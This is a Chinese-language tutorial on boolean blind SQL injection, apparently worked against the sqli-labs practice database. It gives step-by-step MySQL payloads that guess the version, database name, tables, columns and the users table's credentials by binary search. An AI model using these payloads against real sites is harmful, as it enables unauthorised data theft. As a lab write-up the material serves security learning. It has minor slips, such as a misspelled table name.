一、什么是布尔盲注?
在传参数的时候页面只返回两种情况,显位什么的都没有,这种时候就要去用Yes or No 去猜一猜数据,注意运用二分法
二、盲注常用的函数?
Length(),返回字符串的长度
ASCII(),返回字符的ASCII码值
substr(str, sta,x),截取字符串。其中str为需要截取的字符串,sta表示开始位,x表示取几位。
sleep(n) , 延迟n秒
if(condition,expr2,expr3) ,判断语句 如果condition语句正确就执⾏第⼆个语句如果错误执⾏第三个语句
三、基本流程
1.判断是否存在注⼊,注⼊是字符型还是数字型,这里同报错注入一篇判断为字符型。
2.判断数据库版本
语句:substr(version(),1,1)>=5--+
说明:利用此语句可判断数据库版本是否大于5.0,其决定能否利用information_schema数据库。
3.猜解当前数据库长度
语句:1‘ and length(database())>1--+(具体看自己怎么构造)
说明:利用此语句与二分法结合可得出当1‘ and length(database())=8--+返回正确结果,所以当前数据库的长度为8个字符。
4.猜解数据库名
方法:二分法逐字猜解
语句:输⼊1' and ascii(substr(database(),1,1))>97 --+,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);
输⼊1' and ascii(substr(database(),1,1))<122 --+,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);
输⼊1' and ascii(substr(database(),1,1))<109 --+,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值);
输⼊1' and ascii(substr(database(),1,1))=115 --+,显⽰存在,所以数据库名的第⼀个字符的ascii值为115,即⼩写字母s。 .
以此类推,可得出数据库的名称为‘security'
5.猜解表数量
语句:1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 --+ 显⽰不存在
1' and (select count (table_name) from information_schema.tables where table_schema=database())=2 --+ 显⽰不存在
1' and (select count (table_name) from information_schema.tables where table_schema=database())=3 --+ 显⽰不存在
1' and (select count (table_name) from information_schema.tables where table_schema=database())=4 --+ 显⽰存在
所以该数据库一共有4张表
6. 猜解表名的长度
语句:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 --+ 显⽰不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 --+ 显⽰不存在
...............................
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6--+ 显示存在
说明:所以第一张表的长度为6个字符,如果想要查询其他表,只需修改limit参数即可,重复以上操作可得出第二、三、四张表的字符长度分别为8,7,5个字符。
7.猜解表名
语句:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 --+ 显⽰存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<110 --+ 显⽰存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<105--+显⽰存在
........................................................
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+ 显⽰存在
说明:数据表的第一个字符ASCII码为101,所以为小写字母e,然后修改substr的参数可猜解后面的数据,最终可得出结果为emails; 想要猜解第二个表只需修改limit参数,最终猜出另外三个 表名为 referers,ugrents,users ,这里的users是我们所需要的表。
8.猜解字段数量
语句:1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 --+ 显⽰不存在
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=2 --+显⽰不存在
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=3 --+ 显示存在
说明:user表中有3个字段/列
9.猜解字段长度
语句:1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 --+ 显⽰不存在
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=2 --+ 显示存在
说明:第一个字段的长度为2个字符,同理修改limit参数的值可得出第二个、第三个字段的长度分别为8,8
10.猜解字段名
语句:1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))>97 # 显⽰存在
........................................(跟猜解数据库名同理)
说明:由此我们可以得出数据库名为 id,username,password
11.猜解数据
语句:1’ and ascii(substr((select username from security.users limit 0,1),1,1))>96--+
..........................
语句2:1' and (select count(*) from users where user = 'admin') = 1 --+ (暴力猜解)